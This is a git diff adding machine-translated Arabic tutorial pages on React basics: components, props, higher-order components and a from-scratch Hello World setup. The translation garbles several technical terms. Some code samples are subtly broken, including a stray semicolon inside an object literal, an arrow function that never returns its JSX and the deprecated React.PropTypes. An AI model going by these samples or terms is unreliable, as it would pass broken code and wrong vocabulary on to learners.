+#### معلومات اكثر:
+
+*   [React.Fragment (الوثائق الرسمية)](https://reactjs.org/docs/react-api.html#reactfragment)
+*   [React v16.2.0: تحسين الدعم للشظايا](https://reactjs.org/blog/2017/11/28/react-v16.2.0-fragment-support.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/functional-components-vs-class-components/index.md b/client/src/guide/arabic/react/functional-components-vs-class-components/index.md
new file mode 100644
index 0000000000..1e86063426
--- /dev/null
+++ b/client/src/guide/arabic/react/functional-components-vs-class-components/index.md
@@ -0,0 +1,67 @@
+---
+title: Functional Components vs Class Components
+localeTitle: المكونات الوظيفية مقابل مكونات Class
+---
+## المكونات الوظيفية مقابل مكونات Class
+
+هناك مكونان رئيسيان في React:
+
+*   مكونات وظيفية
+*   مكونات الطبقة
+
+## مكونات وظيفية
+
+*   المكونات الوظيفية هي وظائف JavaScript الأساسية. هذه هي عادة وظائف الأسهم ولكن يمكن أيضا أن يتم إنشاؤها باستخدام الكلمة الأساسية `function` العادية.
+*   يشار إليها أحيانًا بمكونات "البكم" أو "عديمة الجنسية" لأنها تقبل البيانات ببساطة وتعرضها بشكل ما ؛ هذا هو المسؤول الرئيسي عن تقديم واجهة المستخدم.
+*   لا يمكن استخدام أساليب دورة الحياة التفاعلية (على سبيل المثال ، `componentDidMount` ) في المكونات الوظيفية.
+*   لا توجد طريقة تجسيد مستخدمة في المكونات الوظيفية.
+*   وهي مسؤولة بشكل أساسي عن واجهة المستخدم وهي عادةً ما تكون معروضة فقط (على سبيل المثال ، مكون زر).
+*   يمكن للمكونات الوظيفية قبول الدعائم واستخدامها.
+*   يجب تفضيل المكونات الوظيفية إذا لم تكن بحاجة إلى استخدام حالة React.
+
+ `import React from "react"; 
+ 
+ const Person = props => ( 
+  <div> 
+    <h1>Hello, {props.name}</h1> 
+  </div> 
+ ); 
+ 
+ export default Person; 
+` 
+
+## مكونات الطبقة
+
+*   تستفيد مكونات الفئة من فئة ES6 وتمتد فئة `Component` في React.
+*   تُسمى أحيانًا المكونات "الذكية" أو "ذات الحالة" لأنها تميل إلى تطبيق المنطق والدولة.
+*   يمكن استخدام أساليب دورة الحياة التفاعلية داخل مكونات الفئة (على سبيل المثال ، `componentDidMount` ).
+*   يمكنك تمرير الدعائم لأسفل إلى مكونات الفصل والوصول إليها باستخدام `this.props`
+
+ `import React, { Component } from "react"; 
+ 
+ class Person extends Component { 
+  constructor(props){ 
+    super(props); 
+    this.state = { 
+      myState: true; 
+    } 
+  } 
+ 
+  render() { 
+    return ( 
+      <div> 
+        <h1>Hello Person</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+ 
+ export default Person; 
+` 
+
+## معلومات اكثر
+
+*   [React Components](https://reactjs.org/docs/components-and-props.html)
+*   [مكونات وظيفية مقابل فئة](https://react.christmas/16)
+*   [مقابل مقابل مكونات وظيفية عديم الحالة في رد الفعل](https://code.tutsplus.com/tutorials/stateful-vs-stateless-functional-components-in-react--cms-29541)
+*   [الدولة ودورة الحياة](https://reactjs.org/docs/state-and-lifecycle.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/handling-data-with-props-in-react/index.md b/client/src/guide/arabic/react/handling-data-with-props-in-react/index.md
new file mode 100644
index 0000000000..620305ad29
--- /dev/null
+++ b/client/src/guide/arabic/react/handling-data-with-props-in-react/index.md
@@ -0,0 +1,99 @@
+---
+title: Handling Data with Props in React
+localeTitle: التعامل مع البيانات مع الدعائم في رد الفعل
+---
+## التعامل مع البيانات مع الدعائم في رد الفعل
+
+توفر الدعائم طريقة لتمرير البيانات والوصول إليها في مكونات React.
+
+يتم تمرير البيانات إلى مكونات React كصفة في JSX.
+
+ `<MyComponent someAttribute={data.value} /> 
+` 
+
+في JSX ، تشير الأقواس المتعرجة إلى تعبير JavaScript والذي يجب أن يعرض قيمة. يتم الوصول إلى البيانات التي تم تمريرها عبر الدعائم في المكون المحدد.
+
+ `const MyComponent = props => { 
+  <p>{props.someAttribute}</p> 
+ }; 
+` 
+
+الآن دعونا نمشي على سبيل المثال في CodePen.
+
+### ابدء
+
+إذا لم تكن قد قمت بذلك بالفعل ، [فاشترك واشترك في حساب CodePen مجاني](https://codepen.io/accounts/signup/user/free) .
+
+قم بإنشاء قلم جديد بتحديد "إنشاء"> "قلم جديد" بجوار صورة ملف تعريف CodePen الخاص بك.
+
+بعد ذلك سنقوم بإضافة المكتبات المناسبة لتقديم مكونات React.
+
+افتح جزء إعدادات JavaScript عن طريق تحديد "الإعدادات"> "JavaScript". اختر "Babel" ضمن "JavaScript Preprocessor".
+
+التالي دعونا نضيف مكتبات React الخاصة بنا. ضمن "جافا سكريبت الخارجي" ، حدد القائمة المنسدلة "Quick-add" وأضف مكتبات "React" و "React DOM".
+
+### باستخدام الدعائم
+
+أولاً ، دعنا نحدد بعض البيانات الوهمية في ملف جافا سكريبت الخاص بنا.
+
+ `const blogData = { 
+  title: 'My blog title', 
+  body: 'Arcu viverra dolor eros interdum, quis nonummy accusantium at lorem luctus iaculis.' 
+ }; 
+` 
+
+بعد ذلك ، دعنا نحدد مكونات مدونتنا.
+
+ `const Heading = () => { 
+  return ( 
+    <h1>My Blog</h1> 
+  ); 
+ }; 
+ 
+ const Blog = props => { 
+  return ( 
+    <div> 
+      <h2>{props.title}</h2> 
+      <p>{props.body}</p> 
+    </div> 
+  ); 
+ }; 
+` 
+
+لاحظنا كيف استخدمنا الكائن المرخص لتقديم قيم العنوان والجسد التي سيتم تمريرها إلى مكون المدونة. الدعائم للقراءة فقط أو غير قابلة للتغيير ، لذلك لا داعي للقلق بشأن تغيير قيم الدعائم.
+
+قبل أن نكتب مكوّن التطبيق لدينا ، نحتاج إلى حماية المكون الذي نستخدمه لتحديد نوع المتغير الذي سينتقل إلى كل دعم. سنحدد ذلك باستخدام React.PropTypes. أضف ما يلي إلى ملف JavaScript الخاص بك.
+
+ `Blog.propTypes = { 
+  title: React.PropTypes.string, 
+  body: React.PropTypes.string 
+ }; 
+` 
+
+هنا نقوم بتعريف أن البيانات التي يتم تمريرها إلى مكون المدونة ستكون سلاسل لكل من العنوان والجسم. تحقق من [وثائق](https://reactjs.org/docs/typechecking-with-proptypes.html) React للحصول على قائمة بجميع propTypes.
+
+الآن ، دعنا نضع هذا معًا في أحد مكونات التطبيق وننزل بياناتنا.
+
+ `const App = props => { 
+  return ( 
+    <div> 
+      <Heading /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+    </div> 
+  ); 
+ }; 
+` 
+
+أخيرًا ، دعنا نعرض تطبيقنا (تأكد من إضافة علامة `<div>` جذر إلى ملف HTML):
+
+ `ReactDOM.render( 
+  <App />, 
+  document.getElementById('root') 
+ ); 
+` 
+
+الآن يجب أن تشاهد مكونات المدونة الخاصة بنا مصحوبة ببيانات وهمية يتم تمريرها عبر الدعائم.
+
+يمكنك رؤية مثال CodePen [هنا](https://codepen.io/trey-davis/pen/MvdZGX) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/hello-world/index.md b/client/src/guide/arabic/react/hello-world/index.md
new file mode 100644
index 0000000000..77c299db10
--- /dev/null
+++ b/client/src/guide/arabic/react/hello-world/index.md
@@ -0,0 +1,65 @@
+---
+title: Hello World
+localeTitle: مرحبا بالعالم
+---
## مرحبا بالعالم !!
+
+يبدأ كل تعلم لغة بمثال Traditional Hello World. هنا ، يمكنك التعرف على React مع نفس برنامج HelloWorld.
+
+كل شيء في React مكون.
+
+ولكن قبل ذلك ، نحتاج إلى التأكد من تثبيت node.js و npm في جهاز الكمبيوتر. بشكل اختياري ، يمكننا استخدام CRA (إنشاء تطبيق React) وهو عبارة عن أداة تم تصميمها بواسطة المطورين على Facebook لمساعدتك على بناء تطبيقات React. إنه يوفر عليك من الإعداد والتهيئة المستهلكة للوقت. يمكنك ببساطة تشغيل أمر واحد وإنشاء تطبيق رد يعمل على إعداد الأدوات التي تحتاجها لبدء مشروع React.
+
+يمكننا تثبيته من خلال الأوامر التالية
+
+ `npm install -g create-react-app 
+ 
+ create-react-app my-app 
+ 
+ cd my-app 
+ npm start 
+` 
+
+يجب أن يمنحك سطر الأوامر مخرجات حيث يمكنك العثور على التطبيق في المستعرض. يجب أن يكون الإعداد الافتراضي هو localhost: 8080. إذا كنت تستخدم IE أو Edge فقط على جهاز يعمل بنظام التشغيل Windows ، فيمكنني أن أوصيك بتثبيت Chrome أيضًا للوصول إلى بيئة مطوّري البرامج وأدوات React Developer التي تتوفر كإضافة Chrome.
+
+![بديل يتفاعل صفحة البداية](https://cdn-images-1.medium.com/max/800/1*Qcry5pCXIy2KeNRsq3w7Bg.png)
+
+#### SRC / App.js
+
+نسخ الرمز أدناه ولصقه في src / App.js
+
+ `  import React from 'react'; 
+ 
+  class App extends React.Component{ 
+    constructor(props) { 
+      super(props); 
+    } 
+ 
+    render(){ 
+      return( 
+        <div> 
+          <p>Hello World !!</p> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default App; 
+` 
+
+إذا تحققنا من ملف index.js في المجلد src ، نجد أن تطبيق App.js أعلاه يسمى index.js ثم تم تقديمه.
+
+ `// Other code 
+ import App from './App'; // The App component is imported 
+ 
+ // Other code 
+ ReactDOM.render(<App />, 
+ document.getElementById('root'));  //The <App /> is the way components are called in react after importing them 
+ 
+ // Other code 
+` 
+
+في ما سبق ، يسمى App.js بمكون. عادة ، نقوم بعمل مكونات متعددة ونضعها معًا في App.js والتي سيتم بعد ذلك تقديمها في index.js والتي يتم بعد ذلك تحويلها إلى div root الموجود في index.html.
+
+مبروك !! لقد أنشأت أول تطبيق لـ React Hello world. تعلم المزيد عن رد الفعل في المقالات القادمة.
+
+الترميز سعيدة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/higher-order-components/index.md b/client/src/guide/arabic/react/higher-order-components/index.md
new file mode 100644
index 0000000000..0d3f6b2c2d
--- /dev/null
+++ b/client/src/guide/arabic/react/higher-order-components/index.md
@@ -0,0 +1,51 @@
+---
+title: Higher-Order Components
+localeTitle: مكونات الترتيب الأعلى
+---
+## مكونات الترتيب الأعلى
+
+في React ، يكون **مكون ترتيب** مرتفع (HOC) دالة تأخذ مكونًا وتعيد مكونًا جديدًا. يستخدم المبرمجون HOCs لتحقيق **إعادة استخدام المنطق المكون** .
+
+إذا كنت قد استخدمت `connect` Redux ، فقد عملت بالفعل مع مكونات الطلب العليا.
+
+الفكرة الأساسية هي:
+
+ `const EnhancedComponent = enhance(WrappedComponent); 
+` 
+
+أين:
+
+*   `enhance` هو مكون ترتيب العليا؛
+*   `WrappedComponent` هو المكون الذي تريد `WrappedComponent` ؛ و
+*   `EnhancedComponent` هو المكون الجديد الذي تم إنشاؤه.
+
+هذا يمكن أن يكون الجسم من `enhance` HOC:
+
+ `function enhance(WrappedComponent) { 
+  return class extends React.Component { 
+    render() { 
+      const extraProp = 'This is an injected prop!'; 
+      return ( 
+        <div className="Wrapper"> 
+          <WrappedComponent 
+            {...this.props} 
+            extraProp={extraProp} 
+          /> 
+        </div> 
+      ); 
+    } 
+  } 
+ } 
+` 
+
+في هذه الحالة ، `enhance` إرجاع **فئة المجهول** التي تمتد `React.Component` . يقوم هذا المكون الجديد بثلاثة أشياء بسيطة:
+
+*   التقديم `WrappedComponent` داخل عنصر `div` ؛
+*   تمرير الدعائم الخاصة به إلى `WrappedComponent` ؛ و
+*   `WrappedComponent` دعم إضافي إلى `WrappedComponent` .
+
+HOCs هي مجرد نمط يستخدم قوة الطبيعة المركبة React. **يضيفون ميزات إلى أحد المكونات** . هناك الكثير من الأشياء التي يمكنك القيام بها معهم!
+
+## موارد آخرى
+
+*   [تفاعلات المستندات: مكونات الطلب الأعلى](https://reactjs.org/docs/higher-order-components.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/index.md b/client/src/guide/arabic/react/index.md
new file mode 100644
index 0000000000..01526c9e48
--- /dev/null
+++ b/client/src/guide/arabic/react/index.md
@@ -0,0 +1,222 @@
+---
+title: React
+localeTitle: تتفاعل
+---
+# تتفاعل
+
+React هي مكتبة جافا سكريبت لإنشاء واجهات المستخدم. وقد تم التصويت عليها على أنها الأكثر شعبية في فئة "الأطر والمكتبات والتقنيات الأخرى" لمسح مطوري Stack Overflow لعام 2017. 1
+
+React هي مكتبة جافا سكريبت وتطبيقات React المبنية عليها تعمل في المتصفح ، وليس على الخادم. تتواصل تطبيقات من هذا النوع مع الخادم فقط عند الضرورة ، مما يجعلها سريعة جدًا مقارنة بالمواقع التقليدية التي تجبر المستخدم على الانتظار حتى يقوم الخادم بإعادة عرض الصفحات بالكامل وإرسالها إلى المتصفح.
+
+يُستخدم رد الفعل لإنشاء واجهات المستخدم - ما يراه المستخدم على شاشته ويتفاعل معه لاستخدام تطبيق الويب. يتم تقسيم هذه الواجهة إلى مكونات ، بدلاً من وجود صفحة ضخمة واحدة يمكنك تقسيمها إلى أجزاء أصغر تُعرف باسم المكونات. وبعبارات أكثر عمومية ، يُطلق على هذا النهج "النمطية".
+
+*   إنه إعلاني: يستخدم React نموذجًا تفسيريًا يجعل من الأسهل التفكير في طلبك.
+*   إنه فعال: يقوم React بحساب الحد الأدنى من التغييرات الضرورية للحفاظ على تحديث DOM الخاص بك.
+*   وهي مرنة: التفاعل يعمل مع المكتبات وأطر العمل التي تعرفها بالفعل.
+
+## لماذا نتعلم رد الفعل؟
+
+1.  React يشمل التركيب الذي هو الكثير من المكونات لف الوظائف في وعاء مغلف. تستخدم العديد من مواقع الويب الشائعة React لتنفيذ النمط المعماري MVC. Facebook (جزئيًا) ، Instagram (تمامًا) ، Khan Academy (جزئيًا) ، Codecademy (جزئيًا) ، New York Times (جزئيًا) ، Yahoo Mail (تمامًا) ، التطبيق الجديد للصور والفيديو لمنتدى Dropbox Carousel (تمامًا) هي المواقع الشهيرة المعروفة ليتم استخدام React. كيف يتم بناء هذه التطبيقات الكبيرة باستخدام React؟ الإجابة البسيطة هي عن طريق بناء تطبيقات أو مكونات صغيرة. مثال:
+
+ `const Component2 = () => { 
+  return ( 
+    <div></div> 
+  ); 
+ }; 
+ const Component3 = () => { 
+  return ( 
+    <div></div> 
+  ); 
+ }; 
+ const Component1 = () => { 
+  return ( 
+    <div> 
+      <Component2 /> 
+      <Component3 /> 
+    </div> 
+  ); 
+ }; 
+ 
+ ReactDOM.render( 
+  <Component1 />, 
+  document.getElementById("app") 
+ ); 
+` 
+
+2.  رد الفعل هو التصريح بالنسبة للجزء الأكبر الذي نشعر بالقلق أكثر مع ما يجب القيام به بدلا من كيفية القيام بمهمة محددة. البرمجة التعميمية هي نموذج برمجي يعبر عن منطق الحساب دون وصف تدفق التحكم الخاص به. تأتي البرمجة التعويضية بمزايا معينة مثل الآثار الجانبية المخفضة (تحدث عندما نقوم بتعديل أي حالة أو تحوير شيء ما أو تقديم طلب API) ، وتقليل التحلل (كما هو مستخلص من الكثير) ، والقابلية المحسنة ، وأخطاء أقل.
+    
+3.  تدفق البيانات أحادي الاتجاه. واجهة المستخدم في React هي في الواقع وظيفة الحالة التي تعني أن الدولة تقوم بتحديثها تقوم بتحديث واجهة المستخدم أيضًا. لذلك تقدم واجهة المستخدم مع تغير الدولة.
+    
+
+## مزايا رد الفعل
+
+بعض الأسباب لاستخدام React هي:
+
+1.  بسرعة. يمكن للتطبيقات التي يتم إجراؤها في React معالجة التحديثات المعقدة ولا تزال تشعر بالسرعة والاستجابة.
+2.  وحدات. بدلاً من كتابة ملفات كبيرة وكثيفة من التعليمات البرمجية ، يمكنك كتابة العديد من الملفات الصغيرة القابلة لإعادة الاستخدام. يمكن أن تكون الطريقة التفاعلية هي الحل الجميل لمشاكل [صيانة](https://en.wikipedia.org/wiki/Spaghetti_code) جافا سكريبت.
+3.  القابلة للتطوير. البرامج الكبيرة التي تعرض الكثير من البيانات المتغيرة هي حيث تقوم React بأفضل أداء.
+4.  مرونة. يمكنك استخدام React لمشاريع مثيرة للاهتمام لا علاقة لها بتنفيذ تطبيق ويب. ما زال الناس يفكرون في قدرة React. [هناك مجال للاستكشاف](https://medium.mybridge.co/22-amazing-open-source-react-projects-cb8230ec719f) .
+
+### DOM الظاهري
+
+يأتي سحر React من تفسيره لـ DOM واستراتيجيته لإنشاء واجهات مستخدم.
+
+يستخدم React DOM الافتراضي لعرض شجرة HTML فعليًا أولاً ، وبعد ذلك ، في كل مرة تتغير حالة ما ونحصل على شجرة HTML جديدة يجب نقلها إلى DOM الخاص بالمتصفح ، بدلاً من كتابة الشجرة الجديدة بأكملها سيكتب React فقط الفرق بين الشجرة الجديدة والشجرة السابقة (حيث يحتوي React على كلتا الأشجار في الذاكرة). تُعرف هذه العملية باسم "تسوية الشجرة".
+
+### تصالح
+
+يحتوي React على خوارزمية متغيرة ذكية يستخدمها فقط للتجديد في عقدة DOM الخاصة به ، والتي تحتاج إلى إعادة توليدها بينما تحتفظ بكل شيء آخر كما هو. هذه العملية المتغيرة ممكنة بسبب DOM الافتراضي الخاص بـ React.
+
+باستخدام DOM الظاهري ، يحتفظ React بإصدار DOM الأخير في الذاكرة وعندما يحتوي على إصدار DOM جديد ليأخذه إلى المستعرض ، سيكون إصدار DOM الجديد أيضًا في الذاكرة ، لذلك يمكن React أن يحسب الفرق بين الإصدارات الجديدة والقديمة. .
+
+سوف يقوم React بإرشاد المتصفح لتحديث الفرق المحسوب فقط وليس عقدة DOM بأكملها. بغض النظر عن عدد المرات التي نعيد فيها إنشاء واجهتنا ، فإن React سيأخذ إلى المتصفح التحديثات الجديدة "الجزئية" فقط.
+
+## رد فعل من سكراتش
+
+هل ترغب في البدء في تعلم أساسيات التفاعل دون التورط في خلق بيئة تطوير؟ من المحتمل أنك إذا كنت جديدًا على تطوير الويب ، فإن إعداد بيئة تطوير قد يجعلك تشعر ببعض التخويف عندما تحاول فقط أن تتعلم React أو تتعلم فقط عن React للمرة الأولى.
+
+سننظر في هذه المقالة في كيفية بدء استخدام React باستخدام محرر نصوص ومُتصفح فقط ولا شيء آخر.
+
+[!["شاهد](http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[### 1 - إعداد رمز لوحة المرجل مع Emmet
+
+لنبدأ بالخطوة 1. سنبدأ بملف في متصفحنا يسمى "index.html". سنبدأ برمز HTML لرمز المرجل. لبداية سريعة ، أوصي باستخدام Emmet مع أي محرر نصوص لديك وعلى السطر الأول كتابة في `html:5` ثم الضغط على مفتاح shift للحصول على الكود أدناه. أو يمكنك المضي قدمًا ونسخ الشفرة من الأسفل والصقها.
+
+ `html:5 
+` 
+
+سيؤدي هذا إلى التعليمة البرمجية التالية:
+
+ `<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+  <meta http-equiv="X-UA-Compatible" content="ie=edge"> 
+  <title>Document</title> 
+ </head> 
+ <body> 
+ 
+ </body> 
+ </html> 
+` 
+
+يمكننا ملء عنوان "وقت الرد!"
+
+لن يظهر هذا المحتوى في صفحة الويب الخاصة بك. سيكون أي شيء في قسم الرأس في ملف HTML عبارة عن بيانات تعريفية سيستخدمها متصفحنا لتفسير الشفرة في قسم النص الأساسي. سيكون هذا العنوان هو ما يظهر في علامة التبويب لصفحتنا ، وليس في الواقع على الصفحة.
+
+### 2 - احصل على علامات Script لتسخير قوة مكتبات React و Babel
+
+حسنًا ، يتم فحص العنصر الأول من قائمتنا. دعونا ننظر في البند الثاني. سنقوم بإعداد بيئة مطورنا عن طريق استخدام علامات النص لجلب React و Babel. هذه ليست بيئة مطور الحياة الحقيقية. من شأنه أن يكون تماما الإعداد معقدة. كما أنه سيترك لنا الكثير من رمز لوحة المرجل والمكتبات التي ستخرجنا عن موضوع تعلم أساسيات React. الهدف من هذه السلسلة هو الذهاب إلى بناء الجملة الأساسي لـ React والحصول على الحق في الترميز. سنستخدم علامات `<script>` لإدخال مكتبة React ومكتبة React DOM (لماذا) ومكتبة بابل.
+
+ `<head> 
+  ... 
+  <!-- REACT LIBRARY --> 
+  <script src="https://unpkg.com/react@15.5.4/dist/react.js"></script> 
+  <!-- REACT DOM LIBRARY --> 
+  <script src="https://unpkg.com/react-dom@15.5.4/dist/react-dom.js"></script> 
+  <!-- BABEL LIBRARY --> 
+  <script src="https://cdnjs.cloudflare.com/ajax/libs/babel-standalone/6.25.0/babel.min.js"></script> 
+  ... 
+  <title>Time to React!</title> 
+ </head> 
+` 
+
+أنت حر في استخدام إصدارات أكثر محدثة من هذه المكتبات لأنها تخرج. يجب ألا ينشئوا أي تغييرات مفاجئة للمحتوى الذي نغطيه.
+
+ماذا نفعل هنا؟ يتم استخدام عنصر HTML `<script>` لتضمين أو كتابة برنامج نصي قابل للتنفيذ. تشير السمة "src" إلى ملفات البرامج النصية الخارجية لمكتبة React ومكتبة Reactdom ومكتبة Babel. هذا مثل إذا كان لديك ماكينة حلاقة كهربائية. إنه حرفياً ليس جيدًا لك بغض النظر عن مدى حبك الحلاقة الكهربائية ما لم تتمكن من توصيله بالحائط والحصول على الكهرباء. لن يكون رد فعلنا الذي سنكتبه جيدًا إذا لم يتمكن متصفحنا من توصيل هذه المكتبات لفهم وتفسير ما نحن بصدده. هذه هي الطريقة التي سيحصل بها تطبيقنا على قوة React ، سيكون كيف ندخل React into the Dom. السبب في أن لدينا React و ReactDOM كمكتبتين مختلفتين هو أن هناك حالات استخدام مثل React Native حيث أن العرض إلى DOM غير مطلوب لتطوير الجوال ، لذلك تم تقسيم المكتبة إلى أشخاص لاتخاذ القرار بما يحتاجون إليه اعتمادًا على على المشروع الذي يعملون عليه. نظرًا لأننا سنحتاج إلى رد الفعل الخاص بنا لجعله في DOM ، فسنستخدم كلا النصبين. إن Babel هي الطريقة التي نستفيد بها من برنامج ECMA النصي إلى ما وراء ES5 ونتعامل مع أمر يسمى JSX (جافا سكريبت بلغة XML) والذي سنستخدمه في React. سنلقي نظرة أعمق على سحر بابل في درس قادم :) حسنًا ، لقد أكملنا الخطوتين 1 و 2. لقد أعددنا شفرة لوحة الغلاية وننشئ بيئة مطورنا.
+
+### 3 - تتفاعل مع DOM
+
+ستتمثل خطوتنا التالية في اختيار موقعنا ضمن DOM الذي نرغب في عرض محتوى التفاعل فيه. واستخدام علامة نصية أخرى لمحتوى React الخاص بنا داخل الجسم. بشكل عام ، كعمل فصل جيد للمخاوف ، سيكون هذا في ملفه الخاص ثم يرتبط بوثيقة html هذه. سنفعل ذلك لاحقًا في الدروس القادمة. في الوقت الحالي ، سنترك هذا يسكن داخل نص مستند html الذي نحن فيه حاليا. الآن سننظر في مدى سهولة اختيار مكان على DOM لتقديم محتوى React. سنذهب داخل الجسم. وأفضل الممارسات ليست مجرد إلقاء ردود الفعل في علامة النص التي سيتم عرضها ولكن لإنشاء عنصر منفصل ، غالباً ما يكون div ، يمكنك التعامل معه كعنصر جذر لإدخال محتوى React الخاص بك.
+
+ `<body> 
+  <div id="app">React has not rendered yet</div> 
+ </body> 
+` 
+
+`<div>` عنصر `<div>` بسيطًا `<div>` معرفًا بـ "التطبيق". سنتمكن من استهداف هذا الموقع لإدراج محتوى React بطريقة تشبه إلى حد كبير الطريقة التي تستخدم بها CSS لاستهداف معرف لتصميم من اختيارك. سيتم عرض أي محتوى متفاعل ضمن علامات div مع معرف التطبيق. في هذه الأثناء ، سنترك بعض النصوص ونقول "لم يظهر رد الفعل بعد" إذا رأينا ذلك عندما نعاين صفحتنا ، فهذا يعني أنه في مكان نفتقد فيه رد الفعل. الآن ، دعونا نمضي قدمًا وننشئ علامة نصيّة داخل جسمنا حيث سننشئها برد فعل لأول مرة. الصيغة التي نحتاج إليها لعلامة النص البرمجي هي إضافة سمة "type". هذا يحدد نوع الوسائط للبرنامج النصي. في رأينا استخدمنا خاصية src التي تشير إلى ملفات البرامج النصية الخارجية لمكتبة React ومكتبة Reactdom ومكتبة بابل.
+
+ `<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  </script> 
+ </body> 
+` 
+
+"نوع" البرنامج النصي الذي نستخدمه سنقوم بلفه بين علامتي اقتباس وضبطه على `"text/babel"` . سنحتاج إلى هذه القدرة لاستخدام babel على الفور ونحن نعمل مع JSX. أولاً ، سوف نعرض React على DOM. `ReactDOM.render()` الأسلوب `ReactDOM.render()` للقيام بذلك. ستكون هذه طريقة ، وتذكر أن الطريقة هي مجرد وظيفة مرتبطة بجسم ما. هذه الطريقة سوف تأخذ اثنين من الحجج.
+
+ `<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  ReactDOM.render(React What, React Where); 
+ </script> 
+ </body> 
+` 
+
+الحجة الأولى هي "ماذا" من رد الفعل. الوسيطة الثانية هي "المكان" للموقع الذي تريد وضعه في DOM. لنبدأ من خلال استدعاء طريقة ReactDOM.render () الخاصة بنا. أول حجة لدينا ستكون JSX لدينا.
+
+ `<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  ReactDOM.render( 
+    <h1>Hello World</h1>, 
+    React Where 
+  ); 
+ </script> 
+ </body> 
+`](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI) 
+
+[](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)[حالة رد فعل المستندات الرسمية](https://reactjs.org/docs/introducing-jsx.html) : "بنية صيغة مضحكة هذه ليست سلسلة ولا HTML. يطلق عليه JSX ، وهو امتداد لغوي ل JavaScript. نوصي باستخدامها مع React لوصف ما ينبغي أن تبدو عليه واجهة المستخدم. قد تذكرك JSX بلغة القالب ، ولكنها تأتي مع القوة الكاملة لجافا سكريبت. JSX تنتج React "elements". "
+
+في كثير من الأحيان ، JSX يخاف الناس من المطورين لفترة من الوقت لأنه يبدو مثل HTML. في سن مبكرة جدا يتم تدريس المطورين فصل المخاوف. HTML لها مكانها ، CSS لها مكان وجافا سكريبت لديها المكان. يبدو JSX لطمس الخطوط. إنك تستخدم ما يشبه HTML ولكن كما يقول Facebook يأتي بكامل قوة JavaScript.
+
+هذا يمكن أن يثير غضب من قدامى المحاربين الكثير من الدروس المستفادة تبدأ دون JSX التي يمكن أن تكون معقدة للغاية. لن نفعل ذلك. نظرًا لأن هذه الدورة موجهة نحو من هم صغارًا جدًا في حياتهم المهنية ، فقد لا تجلب هذه العلامات الحمراء عندما ترى هذه الجملة.
+
+و JSX هو مجرد حقا بديهية. ربما يمكنك قراءة هذا الرمز بسهولة تامة ورؤية أن هذه العلامة ستكون أكبر علامة نصية تعرض النص "Hello World". لا غموض وجميل وواضح. الآن ، دعونا نلقي نظرة على ما ستكون عليه حجتنا الثانية.
+
+ `<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+    ReactDOM.render( 
+      <h1>Hello World</h1>, 
+      document.getElementById("app") 
+    ); 
+  </script> 
+ </body> 
+` 
+
+هذا هو المكان الذي نريد تقديم محتوى رد فعلنا إلى dom. من المحتمل أنك فعلت هذا عدة مرات في الماضي. سنكتب فقط في `document.getElementById()` . وسننتقل إلى حجة معرف التطبيق. وهذا هو عليه. سنستهدف الآن div بمعرّف التطبيق لإدخال محتوى رد فعلنا.
+
+نريد أن نتأكد من حفظ المحتوى الخاص بنا. المضي قدما وفتح هذا في المتصفح ويجب أن ترى "مرحبا العالم". كما يمكنك أن تخمن ، فإن استخدام React ليس الطريقة الأسرع أو الأفضل لإنشاء تطبيق Hello World. نحن لا نرى فوائد ذلك حتى الآن. لكننا نعرف الآن أن كل شيء يعمل.
+
+المضي قدما وفتح وحدة التحكم وإلقاء نظرة على "عناصر". يمكنك إجراء ذلك على جهاز Mac باستخدام الأمر + shift + j أو في نظامي التشغيل On Windows و Linux: Ctrl + Shift + J
+
+إذا قمت بالنقر فوق علامة الرأس ، فيمكننا الاطلاع على مكتبات البرامج النصية التي قمنا بتضمينها. ثم يمكننا أن نحضر إلى جسد مستندنا. دعونا نضغط على div لدينا مع معرف "التطبيق". وعندما نفعل ، نرى علامة `<h1>` مع محتوى "Hello World".
+
+[عرض قانون كامل هنا](https://github.com/robgmerrill/hello-react/blob/master/section-one/index.html)
+
+أو
+
+[!["شاهد](http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[
+
+### خلاصة
+
+لذلك دعونا نفعل ملخص سريع. في علامة رأسنا أمسك علامات النصي ل Reactdom و Reactdom و Babel. هذه هي الأدوات التي يحتاجها متصفحنا في بيانات التعريف الخاصة به لقراءة الكود الخاص بنا و JSX بشكل خاص. بعد ذلك حددنا الموضع ضمن DOM الذي أردنا إدخال رد فعلنا من خلال إنشاء عنصر div مع معرف "التطبيق". بعد ذلك ، أنشأنا علامة نصي لإدخال شفرة React. استخدمنا الأسلوب ReactDOM.render () الذي يأخذ وسيطتين. إن "ما" محتوى React ، في هذه الحالة JSX ، والوسيطة الثانية هي "المكان" الذي تريد إدخال محتوى React فيه في DOM. في هذه الحالة هو الموقع مع معرف "التطبيق".
+
+](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[كبديل لـ JSX ، يمكنك استخدام ES6 ومجمّع Javascript مثل Babel.](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI) [https://babeljs.io/](https://babeljs.io/)
+
+### معلومات اكثر:
+
+*   [رد فعل الصفحة الرئيسية](https://reactjs.org/)
+*   [دان أبراموف على تويتر](https://twitter.com/dan_abramov)
+*   [رد فعل دروس في Egghead.io](https://egghead.io/browse/frameworks/react)
+
+### مصادر
+
